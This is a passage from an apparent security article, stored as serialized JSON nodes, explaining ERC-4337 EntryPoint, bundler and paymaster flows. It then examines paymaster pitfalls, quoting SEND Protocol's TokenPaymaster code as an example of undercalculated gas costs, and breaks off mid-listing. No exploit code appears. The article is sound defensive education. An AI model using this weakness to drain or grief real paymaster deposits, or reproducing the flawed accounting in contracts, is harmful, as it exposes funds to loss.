",{"type":23,"tag":71,"props":112634,"children":112636},{"className":112635},[],[112637],{"type":29,"value":112598},{"type":29,"value":112639}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":23,"tag":32,"props":112641,"children":112642},{},[112643,112645,112650,112652,112656,112658,112663,112665,112671],{"type":29,"value":112644},"Once all operations have been processed, the ",{"type":23,"tag":71,"props":112646,"children":112648},{"className":112647},[],[112649],{"type":29,"value":112598},{"type":29,"value":112651}," calculates the total gas consumed and reimburses the ",{"type":23,"tag":16596,"props":112653,"children":112654},{},[112655],{"type":29,"value":112580},{"type":29,"value":112657},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":23,"tag":71,"props":112659,"children":112661},{"className":112660},[],[112662],{"type":29,"value":112598},{"type":29,"value":112664}," or from a ",{"type":23,"tag":71,"props":112666,"children":112668},{"className":112667},[],[112669],{"type":29,"value":112670},"paymaster",{"type":29,"value":112672}," that has agreed to sponsor the transaction.",{"type":23,"tag":923,"props":112674,"children":112675},{"id":112670},[112676],{"type":23,"tag":71,"props":112677,"children":112679},{"className":112678},[],[112680],{"type":29,"value":112681},"Paymaster",{"type":23,"tag":32,"props":112683,"children":112684},{},[112685,112687,112692],{"type":29,"value":112686},"A ",{"type":23,"tag":71,"props":112688,"children":112690},{"className":112689},[],[112691],{"type":29,"value":112670},{"type":29,"value":112693}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":23,"tag":27910,"props":112695,"children":112696},{},[112697,112708],{"type":23,"tag":2801,"props":112698,"children":112699},{},[112700,112706],{"type":23,"tag":71,"props":112701,"children":112703},{"className":112702},[],[112704],{"type":29,"value":112705},"validatePaymasterUserOp()",{"type":29,"value":112707}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":23,"tag":2801,"props":112709,"children":112710},{},[112711,112717],{"type":23,"tag":71,"props":112712,"children":112714},{"className":112713},[],[112715],{"type":29,"value":112716},"postOp()",{"type":29,"value":112718},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":23,"tag":32,"props":112720,"children":112721},{},[112722,112724,112729],{"type":29,"value":112723},"By supporting both sponsorship and token-based gas payments, ",{"type":23,"tag":71,"props":112725,"children":112727},{"className":112726},[],[112728],{"type":29,"value":112670},{"type":29,"value":112730}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":23,"tag":24,"props":112732,"children":112734},{"id":112733},"understanding-the-entrypoints-flow",[112735,112737,112742],{"type":29,"value":112736},"Understanding the ",{"type":23,"tag":71,"props":112738,"children":112740},{"className":112739},[],[112741],{"type":29,"value":112598},{"type":29,"value":112743},"'s Flow",{"type":23,"tag":32,"props":112745,"children":112746},{},[112747,112749,112754,112755,112760,112762,112773,112775,112780,112781,112786],{"type":29,"value":112748},"When a bundler submits ",{"type":23,"tag":71,"props":112750,"children":112752},{"className":112751},[],[112753],{"type":29,"value":112546},{"type":29,"value":27635},{"type":23,"tag":71,"props":112756,"children":112758},{"className":112757},[],[112759],{"type":29,"value":112598},{"type":29,"value":112761}," contract via ",{"type":23,"tag":940,"props":112763,"children":112766},{"href":112764,"rel":112765},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[944],[112767],{"type":23,"tag":71,"props":112768,"children":112770},{"className":112769},[],[112771],{"type":29,"value":112772},"handleOps()",{"type":29,"value":112774},", the processing occurs in two main phases: ",{"type":23,"tag":16596,"props":112776,"children":112777},{},[112778],{"type":29,"value":112779},"Validation",{"type":29,"value":2721},{"type":23,"tag":16596,"props":112782,"children":112783},{},[112784],{"type":29,"value":112785},"Execution",{"type":29,"value":557},{"type":23,"tag":923,"props":112788,"children":112790},{"id":112789},"validation-phase",[112791],{"type":29,"value":112792},"Validation Phase",{"type":23,"tag":32,"props":112794,"children":112795},{},[112796,112798,112803,112805,112811,112813,112819,112820,112825],{"type":29,"value":112797},"In this phase, the ",{"type":23,"tag":71,"props":112799,"children":112801},{"className":112800},[],[112802],{"type":29,"value":112598},{"type":29,"value":112804}," first validates all operations in the submitted ",{"type":23,"tag":71,"props":112806,"children":112808},{"className":112807},[],[112809],{"type":29,"value":112810},"UserOps",{"type":29,"value":112812}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":23,"tag":71,"props":112814,"children":112816},{"className":112815},[],[112817],{"type":29,"value":112818},"UserOp",{"type":29,"value":112632},{"type":23,"tag":71,"props":112821,"children":112823},{"className":112822},[],[112824],{"type":29,"value":112598},{"type":29,"value":1018},{"type":23,"tag":2797,"props":112827,"children":112828},{},[112829,112847,112865,112886,112898],{"type":23,"tag":2801,"props":112830,"children":112831},{},[112832,112839,112841],{"type":23,"tag":940,"props":112833,"children":112836},{"href":112834,"rel":112835},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[944],[112837],{"type":29,"value":112838},"Calculates",{"type":29,"value":112840}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":23,"tag":71,"props":112842,"children":112844},{"className":112843},[],[112845],{"type":29,"value":112846},"maxFeePerGas",{"type":23,"tag":2801,"props":112848,"children":112849},{},[112850,112857,112858,112863],{"type":23,"tag":940,"props":112851,"children":112854},{"href":112852,"rel":112853},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[944],[112855],{"type":29,"value":112856},"Calls",{"type":29,"value":949},{"type":23,"tag":71,"props":112859,"children":112861},{"className":112860},[],[112862],{"type":29,"value":112565},{"type":29,"value":112864}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":23,"tag":2801,"props":112866,"children":112867},{},[112868,112870,112877,112879,112884],{"type":29,"value":112869},"If no paymaster is specified, attempts to ",{"type":23,"tag":940,"props":112871,"children":112874},{"href":112872,"rel":112873},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[944],[112875],{"type":29,"value":112876},"deduct",{"type":29,"value":112878}," the prefund amount from the sender's ETH deposit in the ",{"type":23,"tag":71,"props":112880,"children":112882},{"className":112881},[],[112883],{"type":29,"value":112598},{"type":29,"value":112885}," (this can be partially refunded later if actual execution costs less)",{"type":23,"tag":2801,"props":112887,"children":112888},{},[112889,112896],{"type":23,"tag":940,"props":112890,"children":112893},{"href":112891,"rel":112892},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[944],[112894],{"type":29,"value":112895},"Validates",{"type":29,"value":112897}," the nonce to prevent replay attacks",{"type":23,"tag":2801,"props":112899,"children":112900},{},[112901,112903,112909,112911,112917,112918,112923],{"type":29,"value":112902},"If a paymaster is specified, it will ",{"type":23,"tag":940,"props":112904,"children":112907},{"href":112905,"rel":112906},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[944],[112908],{"type":29,"value":112876},{"type":29,"value":112910}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":23,"tag":940,"props":112912,"children":112915},{"href":112913,"rel":112914},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[944],[112916],{"type":29,"value":49487},{"type":29,"value":949},{"type":23,"tag":71,"props":112919,"children":112921},{"className":112920},[],[112922],{"type":29,"value":112705},{"type":29,"value":112924}," on the paymaster contract to verify it will cover gas costs",{"type":23,"tag":32,"props":112926,"children":112927},{},[112928,112930,112935,112937,112942],{"type":29,"value":112929},"Only after all these validation checks pass will the ",{"type":23,"tag":71,"props":112931,"children":112933},{"className":112932},[],[112934],{"type":29,"value":112598},{"type":29,"value":112936}," move on to actually executing the ",{"type":23,"tag":71,"props":112938,"children":112940},{"className":112939},[],[112941],{"type":29,"value":112517},{"type":29,"value":112943},". This strict validation flow ensures that:",{"type":23,"tag":27910,"props":112945,"children":112946},{},[112947,112952,112957,112962],{"type":23,"tag":2801,"props":112948,"children":112949},{},[112950],{"type":29,"value":112951},"The operation is legitimate and authorized by the user",{"type":23,"tag":2801,"props":112953,"children":112954},{},[112955],{"type":29,"value":112956},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":23,"tag":2801,"props":112958,"children":112959},{},[112960],{"type":29,"value":112961},"The operation cannot be replayed",{"type":23,"tag":2801,"props":112963,"children":112964},{},[112965],{"type":29,"value":112966},"All involved contracts (sender and paymaster) have approved the execution",{"type":23,"tag":32,"props":112968,"children":112969},{},[112970],{"type":29,"value":112971},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":23,"tag":923,"props":112973,"children":112975},{"id":112974},"execution-phase",[112976],{"type":29,"value":112977},"Execution Phase",{"type":23,"tag":32,"props":112979,"children":112980},{},[112981,112983,112988,112990,112997,112999,113004],{"type":29,"value":112982},"After all operations have passed validation, the ",{"type":23,"tag":71,"props":112984,"children":112986},{"className":112985},[],[112987],{"type":29,"value":112598},{"type":29,"value":112989}," begins the ",{"type":23,"tag":940,"props":112991,"children":112994},{"href":112992,"rel":112993},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[944],[112995],{"type":29,"value":112996},"execution",{"type":29,"value":112998}," phase, processing each ",{"type":23,"tag":71,"props":113000,"children":113002},{"className":113001},[],[113003],{"type":29,"value":112517},{"type":29,"value":113005}," individually. For each operation, the flow is:",{"type":23,"tag":2797,"props":113007,"children":113008},{},[113009,113069,113115],{"type":23,"tag":2801,"props":113010,"children":113011},{},[113012,113013,113018,113020,113026,113027,113033,113035],{"type":29,"value":2846},{"type":23,"tag":71,"props":113014,"children":113016},{"className":113015},[],[113017],{"type":29,"value":112598},{"type":29,"value":113019}," makes a ",{"type":23,"tag":940,"props":113021,"children":113024},{"href":113022,"rel":113023},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[944],[113025],{"type":29,"value":49487},{"type":29,"value":67960},{"type":23,"tag":71,"props":113028,"children":113030},{"className":113029},[],[113031],{"type":29,"value":113032},"innerHandleOp()",{"type":29,"value":113034},", which:\n",{"type":23,"tag":27910,"props":113036,"children":113037},{},[113038,113050,113055],{"type":23,"tag":2801,"props":113039,"children":113040},{},[113041,113048],{"type":23,"tag":940,"props":113042,"children":113045},{"href":113043,"rel":113044},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[944],[113046],{"type":29,"value":113047},"Forwards",{"type":29,"value":113049}," the operation to the sender's smart account contract",{"type":23,"tag":2801,"props":113051,"children":113052},{},[113053],{"type":29,"value":113054},"Executes the intended transaction(s) within the smart account",{"type":23,"tag":2801,"props":113056,"children":113057},{},[113058,113060,113067],{"type":29,"value":113059},"Handles ",{"type":23,"tag":940,"props":113061,"children":113064},{"href":113062,"rel":113063},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[944],[113065],{"type":29,"value":113066},"post-execution",{"type":29,"value":113068}," tasks and cleanup",{"type":23,"tag":2801,"props":113070,"children":113071},{},[113072,113074,113080,113082,113088,113089,113095,113097],{"type":29,"value":113073},"If a paymaster was used, ",{"type":23,"tag":71,"props":113075,"children":113077},{"className":113076},[],[113078],{"type":29,"value":113079},"Entrypoint",{"type":29,"value":113081}," will ",{"type":23,"tag":940,"props":113083,"children":113086},{"href":113084,"rel":113085},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[944],[113087],{"type":29,"value":49487},{"type":29,"value":949},{"type":23,"tag":71,"props":113090,"children":113092},{"className":113091},[],[113093],{"type":29,"value":113094},"paymaster.postOp()",{"type":29,"value":113096}," to:\n",{"type":23,"tag":27910,"props":113098,"children":113099},{},[113100,113105,113110],{"type":23,"tag":2801,"props":113101,"children":113102},{},[113103],{"type":29,"value":113104},"Allow paymaster to finalize its accounting",{"type":23,"tag":2801,"props":113106,"children":113107},{},[113108],{"type":29,"value":113109},"Process any refunds or additional charges",{"type":23,"tag":2801,"props":113111,"children":113112},{},[113113],{"type":29,"value":113114},"Complete any paymaster-specific logic",{"type":23,"tag":2801,"props":113116,"children":113117},{},[113118,113120,113125,113126,113133,113135],{"type":29,"value":113119},"Finally, after all operations are processed, the ",{"type":23,"tag":71,"props":113121,"children":113123},{"className":113122},[],[113124],{"type":29,"value":112598},{"type":29,"value":949},{"type":23,"tag":940,"props":113127,"children":113130},{"href":113128,"rel":113129},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[944],[113131],{"type":29,"value":113132},"compensates",{"type":29,"value":113134}," the bundler for:\n",{"type":23,"tag":27910,"props":113136,"children":113137},{},[113138,113143,113148],{"type":23,"tag":2801,"props":113139,"children":113140},{},[113141],{"type":29,"value":113142},"Gas costs from executing all operations",{"type":23,"tag":2801,"props":113144,"children":113145},{},[113146],{"type":29,"value":113147},"Overhead from submitting the batch transaction",{"type":23,"tag":2801,"props":113149,"children":113150},{},[113151],{"type":29,"value":113152},"Any unused gas, which is refunded",{"type":23,"tag":32,"props":113154,"children":113155},{},[113156],{"type":29,"value":113157},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":23,"tag":32,"props":113159,"children":113160},{},[113161,113163,113168,113170,113176,113178,113183],{"type":29,"value":113162},"Now that we understand how the ",{"type":23,"tag":71,"props":113164,"children":113166},{"className":113165},[],[113167],{"type":29,"value":112598},{"type":29,"value":113169}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":23,"tag":71,"props":113171,"children":113173},{"className":113172},[],[113174],{"type":29,"value":113175},"paymasters",{"type":29,"value":113177}," that align with the ",{"type":23,"tag":71,"props":113179,"children":113181},{"className":113180},[],[113182],{"type":29,"value":112598},{"type":29,"value":113184},"'s execution model, leading to potential vulnerabilities.",{"type":23,"tag":46567,"props":113186,"children":113188},{"id":113187},"common-pitfalls-in-paymaster-implementation",[113189],{"type":29,"value":113190},"Common Pitfalls in Paymaster Implementation",{"type":23,"tag":32,"props":113192,"children":113193},{},[113194,113196,113201],{"type":29,"value":113195},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":23,"tag":71,"props":113197,"children":113199},{"className":113198},[],[113200],{"type":29,"value":112598},{"type":29,"value":113202}," to exploitation or griefing.",{"type":23,"tag":32,"props":113204,"children":113205},{},[113206,113208,113213],{"type":29,"value":113207},"In this section, we’ll walk through the ",{"type":23,"tag":16596,"props":113209,"children":113210},{},[113211],{"type":29,"value":113212},"two most common pitfalls",{"type":29,"value":113214}," we’ve observed in real-world paymaster implementations:",{"type":23,"tag":24,"props":113216,"children":113218},{"id":113217},"undercalculated-gas-costs",[113219],{"type":23,"tag":16596,"props":113220,"children":113221},{},[113222],{"type":29,"value":113223},"Undercalculated Gas Costs",{"type":23,"tag":32,"props":113225,"children":113226},{},[113227,113229,113234,113236,113241,113243,113248,113250,113257],{"type":29,"value":113228},"To understand this issue, let's first examine how gas penalties work in the ",{"type":23,"tag":71,"props":113230,"children":113232},{"className":113231},[],[113233],{"type":29,"value":112598},{"type":29,"value":113235},". When a ",{"type":23,"tag":71,"props":113237,"children":113239},{"className":113238},[],[113240],{"type":29,"value":112517},{"type":29,"value":113242}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":23,"tag":71,"props":113244,"children":113246},{"className":113245},[],[113247],{"type":29,"value":112598},{"type":29,"value":113249}," charges a ",{"type":23,"tag":940,"props":113251,"children":113254},{"href":113252,"rel":113253},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[944],[113255],{"type":29,"value":113256},"penalty of 10%",{"type":29,"value":113258}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":23,"tag":32,"props":113260,"children":113261},{},[113262],{"type":29,"value":113263},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":23,"tag":64,"props":113265,"children":113267},{"className":68,"code":113266,"language":67,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[113268],{"type":23,"tag":71,"props":113269,"children":113270},{"__ignoreMap":7},[113271,113315,113322,113379,113387,113395,113437,113444,113456,113478,113499,113529,113580,113610,113631,113669,113708,113725,113764,113788,113805,113848,113870,113887,113904,113911,113918,113944,113961,113996,114027,114039,114086,114093,114100,114107,114174,114181,114188,114195,114206,114225,114244,114308,114331,114364,114379,114414,114422,114461,114486,114507,114515,114542,114569,114577,114585,114627,114634,114641,114665,114681,114688,114695,114713,114726,114733,114741],{"type":23,"tag":75,"props":113272,"children":113273},{"class":77,"line":78},[113274,113278,113283,113288,113293,113297,113302,113306,113311],{"type":23,"tag":75,"props":113275,"children":113276},{"style":82},[113277],{"type":29,"value":100149},{"type":23,"tag":75,"props":113279,"children":113280},{"style":104},[113281],{"type":29,"value":113282}," TokenPaymaster",{"type":23,"tag":75,"props":113284,"children":113285},{"style":82},[113286],{"type":29,"value":113287}," is",{"type":23,"tag":75,"props":113289,"children":113290},{"style":104},[113291],{"type":29,"value":113292}," BasePaymaster",{"type":23,"tag":75,"props":113294,"children":113295},{"style":94},[113296],{"type":29,"value":611},{"type":23,"tag":75,"props":113298,"children":113299},{"style":104},[113300],{"type":29,"value":113301},"UniswapHelper",{"type":23,"tag":75,"props":113303,"children":113304},{"style":94},[113305],{"type":29,"value":611},{"type":23,"tag":75,"props":113307,"children":113308},{"style":104},[113309],{"type":29,"value":113310},"OracleHelper",{"type":23,"tag":75,"props":113312,"children":113313},{"style":94},[113314],{"type":29,"value":401},{"type":23,"tag":75,"props":113316,"children":113317},{"class":77,"line":100},[113318],{"type":23,"tag":75,"props":113319,"children":113320},{"style":94},[113321],{"type":29,"value":21566},{"type":23,"tag":75,"props":113323,"children":113324},{"class":77,"line":121},[113325,113329,113334,113338,113343,113348,113353,113357,113362,113366,113370,113375],{"type":23,"tag":75,"props":113326,"children":113327},{"style":82},[113328],{"type":29,"value":100166},{"type":23,"tag":75,"props":113330,"children":113331},{"style":88},[113332],{"type":29,"value":113333}," _validatePaymasterUserOp",{"type":23,"tag":75,"props":113335,"children":113336},{"style":94},[113337],{"type":29,"value":643},{"type":23,"tag":75,"props":113339,"children":113340},{"style":82},[113341],{"type":29,"value":113342},"PackedUserOperation",{"type":23,"tag":75,"props":113344,"children":113345},{"style":82},[113346],{"type":29,"value":113347}," calldata",{"type":23,"tag":75,"props":113349,"children":113350},{"style":110},[113351],{"type":29,"value":113352}," userOp",{"type":23,"tag":75,"props":113354,"children":113355},{"style":94},[113356],{"type":29,"value":611},{"type":23,"tag":75,"props":113358,"children":113359},{"style":104},[113360],{"type":29,"value":113361},"bytes32",{"type":23,"tag":75,"props":113363,"children":113364},{"style":94},[113365],{"type":29,"value":611},{"type":23,"tag":75,"props":113367,"children":113368},{"style":104},[113369],{"type":29,"value":57360},{"type":23,"tag":75,"props":113371,"children":113372},{"style":110},[113373],{"type":29,"value":113374}," requiredPreFund",{"type":23,"tag":75,"props":113376,"children":113377},{"style":94},[113378],{"type":29,"value":653},{"type":23,"tag":75,"props":113380,"children":113381},{"class":77,"line":138},[113382],{"type":23,"tag":75,"props":113383,"children":113384},{"style":82},[113385],{"type":29,"value":113386},"        internal\n",{"type":23,"tag":75,"props":113388,"children":113389},{"class":77,"line":161},[113390],{"type":23,"tag":75,"props":113391,"children":113392},{"style":82},[113393],{"type":29,"value":113394},"        override\n",{"type":23,"tag":75,"props":113396,"children":113397},{"class":77,"line":196},[113398,113403,113407,113411,113416,113420,113424,113428,113433],{"type":23,"tag":75,"props":113399,"children":113400},{"style":175},[113401],{"type":29,"value":113402},"        returns",{"type":23,"tag":75,"props":113404,"children":113405},{"style":94},[113406],{"type":29,"value":183},{"type":23,"tag":75,"props":113408,"children":113409},{"style":104},[113410],{"type":29,"value":8209},{"type":23,"tag":75,"props":113412,"children":113413},{"style":82},[113414],{"type":29,"value":113415}," memory",{"type":23,"tag":75,"props":113417,"children":113418},{"style":110},[113419],{"type":29,"value":552},{"type":23,"tag":75,"props":113421,"children":113422},{"style":94},[113423],{"type":29,"value":611},{"type":23,"tag":75,"props":113425,"children":113426},{"style":104},[113427],{"type":29,"value":57360},{"type":23,"tag":75,"props":113429,"children":113430},{"style":110},[113431],{"type":29,"value":113432}," validationResult",{"type":23,"tag":75,"props":113434,"children":113435},{"style":94},[113436],{"type":29,"value":653},{"type":23,"tag":75,"props":113438,"children":113439},{"class":77,"line":220},[113440],{"type":23,"tag":75,"props":113441,"children":113442},{"style":94},[113443],{"type":29,"value":40383},{"type":23,"tag":75,"props":113445,"children":113446},{"class":77,"line":248},[113447,113452],{"type":23,"tag":75,"props":113448,"children":113449},{"style":175},[113450],{"type":29,"value":113451},"        unchecked",{"type":23,"tag":75,"props":113453,"children":113454},{"style":94},[113455],{"type":29,"value":401},{"type":23,"tag":75,"props":113457,"children":113458},{"class":77,"line":270},[113459,113464,113469,113473],{"type":23,"tag":75,"props":113460,"children":113461},{"style":104},[113462],{"type":29,"value":113463},"            uint256",{"type":23,"tag":75,"props":113465,"children":113466},{"style":94},[113467],{"type":29,"value":113468}," priceMarkup ",{"type":23,"tag":75,"props":113470,"children":113471},{"style":209},[113472],{"type":29,"value":212},{"type":23,"tag":75,"props":113474,"children":113475},{"style":94},[113476],{"type":29,"value":113477}," tokenPaymasterConfig.priceMarkup;\n",{"type":23,"tag":75,"props":113479,"children":113480},{"class":77,"line":279},[113481,113485,113490,113494],{"type":23,"tag":75,"props":113482,"children":113483},{"style":104},[113484],{"type":29,"value":113463},{"type":23,"tag":75,"props":113486,"children":113487},{"style":94},[113488],{"type":29,"value":113489}," baseFee ",{"type":23,"tag":75,"props":113491,"children":113492},{"style":209},[113493],{"type":29,"value":212},{"type":23,"tag":75,"props":113495,"children":113496},{"style":94},[113497],{"type":29,"value":113498}," tokenPaymasterConfig.baseFee;\n",{"type":23,"tag":75,"props":113500,"children":113501},{"class":77,"line":303},[113502,113506,113511,113515,113520,113524],{"type":23,"tag":75,"props":113503,"children":113504},{"style":104},[113505],{"type":29,"value":113463},{"type":23,"tag":75,"props":113507,"children":113508},{"style":94},[113509],{"type":29,"value":113510}," dataLength ",{"type":23,"tag":75,"props":113512,"children":113513},{"style":209},[113514],{"type":29,"value":212},{"type":23,"tag":75,"props":113516,"children":113517},{"style":94},[113518],{"type":29,"value":113519}," userOp.paymasterAndData.length ",{"type":23,"tag":75,"props":113521,"children":113522},{"style":209},[113523],{"type":29,"value":15602},{"type":23,"tag":75,"props":113525,"children":113526},{"style":94},[113527],{"type":29,"value":113528}," PAYMASTER_DATA_OFFSET;\n",{"type":23,"tag":75,"props":113530,"children":113531},{"class":77,"line":322},[113532,113537,113542,113546,113550,113554,113558,113562,113567,113571,113576],{"type":23,"tag":75,"props":113533,"children":113534},{"style":175},[113535],{"type":29,"value":113536},"            require",{"type":23,"tag":75,"props":113538,"children":113539},{"style":94},[113540],{"type":29,"value":113541},"(dataLength ",{"type":23,"tag":75,"props":113543,"children":113544},{"style":209},[113545],{"type":29,"value":2469},{"type":23,"tag":75,"props":113547,"children":113548},{"style":237},[113549],{"type":29,"value":240},{"type":23,"tag":75,"props":113551,"children":113552},{"style":209},[113553],{"type":29,"value":34913},{"type":23,"tag":75,"props":113555,"children":113556},{"style":94},[113557],{"type":29,"value":113510},{"type":23,"tag":75,"props":113559,"children":113560},{"style":209},[113561],{"type":29,"value":2469},{"type":23,"tag":75,"props":113563,"children":113564},{"style":237},[113565],{"type":29,"value":113566}," 32",{"type":23,"tag":75,"props":113568,"children":113569},{"style":94},[113570],{"type":29,"value":611},{"type":23,"tag":75,"props":113572,"children":113573},{"style":1266},[113574],{"type":29,"value":113575},"\"TPM: invalid data length\"",{"type":23,"tag":75,"props":113577,"children":113578},{"style":94},[113579],{"type":29,"value":15099},{"type":23,"tag":75,"props":113581,"children":113582},{"class":77,"line":340},[113583,113587,113592,113596,113601,113606],{"type":23,"tag":75,"props":113584,"children":113585},{"style":104},[113586],{"type":29,"value":113463},{"type":23,"tag":75,"props":113588,"children":113589},{"style":94},[113590],{"type":29,"value":113591}," maxFeePerGas ",{"type":23,"tag":75,"props":113593,"children":113594},{"style":209},[113595],{"type":29,"value":212},{"type":23,"tag":75,"props":113597,"children":113598},{"style":94},[113599],{"type":29,"value":113600}," userOp.",{"type":23,"tag":75,"props":113602,"children":113603},{"style":88},[113604],{"type":29,"value":113605},"unpackMaxFeePerGas",{"type":23,"tag":75,"props":113607,"children":113608},{"style":94},[113609],{"type":29,"value":14944},{"type":23,"tag":75,"props":113611,"children":113612},{"class":77,"line":349},[113613,113617,113622,113626],{"type":23,"tag":75,"props":113614,"children":113615},{"style":104},[113616],{"type":29,"value":113463},{"type":23,"tag":75,"props":113618,"children":113619},{"style":94},[113620],{"type":29,"value":113621}," refundPostopCost ",{"type":23,"tag":75,"props":113623,"children":113624},{"style":209},[113625],{"type":29,"value":212},{"type":23,"tag":75,"props":113627,"children":113628},{"style":94},[113629],{"type":29,"value":113630}," tokenPaymasterConfig.refundPostopCost;\n",{"type":23,"tag":75,"props":113632,"children":113633},{"class":77,"line":363},[113634,113638,113643,113647,113651,113656,113660,113665],{"type":23,"tag":75,"props":113635,"children":113636},{"style":175},[113637],{"type":29,"value":113536},{"type":23,"tag":75,"props":113639,"children":113640},{"style":94},[113641],{"type":29,"value":113642},"(refundPostopCost 